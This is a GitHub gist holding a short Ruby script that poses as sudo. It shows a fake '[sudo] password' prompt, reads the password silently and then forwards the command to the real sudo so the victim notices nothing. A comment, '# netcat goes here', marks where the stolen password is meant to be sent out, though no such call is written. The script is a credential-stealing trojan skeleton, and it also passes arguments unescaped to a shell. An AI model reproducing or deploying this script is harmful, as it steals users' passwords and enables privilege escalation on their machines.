Skip to content

Instantly share code, notes, and snippets.

@0x1F602
Last active June 6, 2016 05:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0x1F602/1dda6e2461f362ef1196 to your computer and use it in GitHub Desktop.
Save 0x1F602/1dda6e2461f362ef1196 to your computer and use it in GitHub Desktop.
require 'io/console'
if ARGV.empty?
# show help info
system("/usr/bin/sudo")
else
username = ENV['USER']
print "[sudo] password for #{username}: "
password = STDIN.noecho(&:gets).chomp
puts ""
# netcat goes here
args = ARGV.join(" ")
system("/usr/bin/sudo #{args}")
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment